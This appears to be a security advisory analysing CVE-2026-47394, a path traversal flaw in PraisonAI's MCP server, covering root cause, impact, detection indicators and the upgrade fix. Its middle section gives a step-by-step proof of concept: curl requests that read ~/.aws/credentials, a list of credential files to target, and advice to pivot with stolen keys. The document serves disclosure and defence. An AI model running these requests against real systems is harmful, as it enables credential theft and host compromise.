CVE-2026-47394: 
PraisonAI vulnerability analysis and mitigation

CVE-2026-47394 is an incomplete security fix vulnerability in PraisonAI's MCP (Model Context Protocol) server that enables unauthenticated arbitrary file read via path traversal. It represents an incomplete remediation of CVE-2026-44336 (GHSA-9mqq-jqxf-grvw): while the prior patch hardened three of four originally identified file-handling handlers, the praisonai.workflow.show handler was left unpatched, and two additional vulnerable handlers (workflow.validate and deploy.validate) were not addressed. Affected versions are PraisonAI (pip) <= 4.6.39; the fix is available in version 4.6.40. The vulnerability carries a CVSS v4 base score of 8.7 (High) (GitHub Advisory, PraisonAI Advisory).

The root cause is a combination of CWE-22 (Path Traversal), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), and CWE-862 (Missing Authorization). The three vulnerable handlers — workflow_show() (lines 63–73), workflow_validate() (lines 42–61), and deploy_validate() (lines 415–432) in mcp_server/adapters/cli_tools.py — accept user-supplied file path strings with no directory containment check, unlike the patched rules.* handlers which use a _resolve_rule_path() helper. The underlying dispatcher in server.py (lines 281–298) passes all JSON arguments from MCP tools/call requests directly as **kwargs to handlers without validating them against the tool's declared input_schema, making this a dispatcher-wide class of bug. The MCP HTTP stream transport defaults to api_key=None, and the authentication check is gated on if self.api_key:, meaning auth is entirely skipped in the default configuration (GitHub Advisory).

Successful exploitation allows any unauthenticated attacker with access to the MCP server (local process, container neighbor, or MCP-connected LLM client) to read the full contents of any file accessible to the host user running PraisonAI. High-value targets include SSH private keys (~/.ssh/id_rsa), cloud credentials (~/.aws/credentials), API tokens, project .env files, ~/.netrc, ~/.docker/config.json, browser cookie databases, and /etc/passwd. The workflow.validate and deploy.validate handlers additionally leak file existence and content fragments through YAML parser error messages. While this CVE is primarily a read primitive, the advisory notes that credential theft via this path typically enables full host compromise through credential reuse, and the related write primitive from CVE-2026-44336 can chain to remote code execution via .pth injection (GitHub Advisory, PraisonAI Advisory).

1. Identify the target: Confirm PraisonAI version <= 4.6.39 is running with the MCP server enabled. The HTTP stream transport defaults to 127.0.0.1:8766/mcp with no API key configured.
2. Initialize the MCP session: Send a JSON-RPC initialize request to establish a session with the MCP server:

curl -s -X POST http://127.0.0.1:8766/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'

3. Send initialized notification: Follow up with the required notifications/initialized message to complete the handshake.
4. Exfiltrate a file via workflow.show: Issue a tools/call request targeting praisonai.workflow.show with an arbitrary file path as the argument:

curl -s -X POST http://127.0.0.1:8766/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"praisonai.workflow.show","arguments":{"file_path":"/home/user/.aws/credentials"}}}'

The full file contents are returned in the JSON-RPC response. 5. Leak file existence and content via workflow.validate or deploy.validate: Send a tools/call to praisonai.workflow.validate with a target path (e.g., /etc/hosts). YAML parser error messages in the response confirm file existence and leak content fragments. 6. Leverage stolen credentials: Use exfiltrated SSH keys, cloud credentials, or API tokens to pivot to additional systems or escalate access (GitHub Advisory, PraisonAI Advisory).

• Network: Unexpected HTTP POST requests to 127.0.0.1:8766/mcp (or configured MCP port) from processes other than legitimate MCP clients (e.g., Claude Desktop, Cursor); JSON-RPC tools/call requests with name values of praisonai.workflow.show, praisonai.workflow.validate, or praisonai.deploy.validate and file_path/config_path arguments pointing outside the expected workflow directory.
• Logs: MCP server access logs showing tools/call requests with absolute paths (e.g., /etc/passwd, ~/.ssh/id_rsa, ~/.aws/credentials) or path traversal sequences in arguments; YAML parser error messages in server logs referencing unexpected file paths.
• File System: Unexpected access timestamps on sensitive files such as ~/.ssh/id_rsa, ~/.aws/credentials, .env files, ~/.netrc, or ~/.docker/config.json coinciding with MCP server activity.
• Process: Unusual processes (e.g., curl, custom scripts) making loopback connections to the MCP server port from non-standard parent processes (GitHub Advisory).

Upgrade PraisonAI to version 4.6.40 or later, which contains the patch for this incomplete fix (GitHub Advisory). If immediate upgrade is not possible, configure an API key for the MCP HTTP stream transport to enable the authentication check (set api_key to a non-None value in the server configuration). Additionally, restrict network access to the MCP server port (default 8766) using firewall rules or network policies to limit exposure to trusted processes only. The preferred long-term fix, as described in the advisory, is to enforce tool.input_schema validation in the dispatcher (server.py:281-298) before passing arguments to handlers, which would close this class of bug for all current and future handlers (PraisonAI Advisory).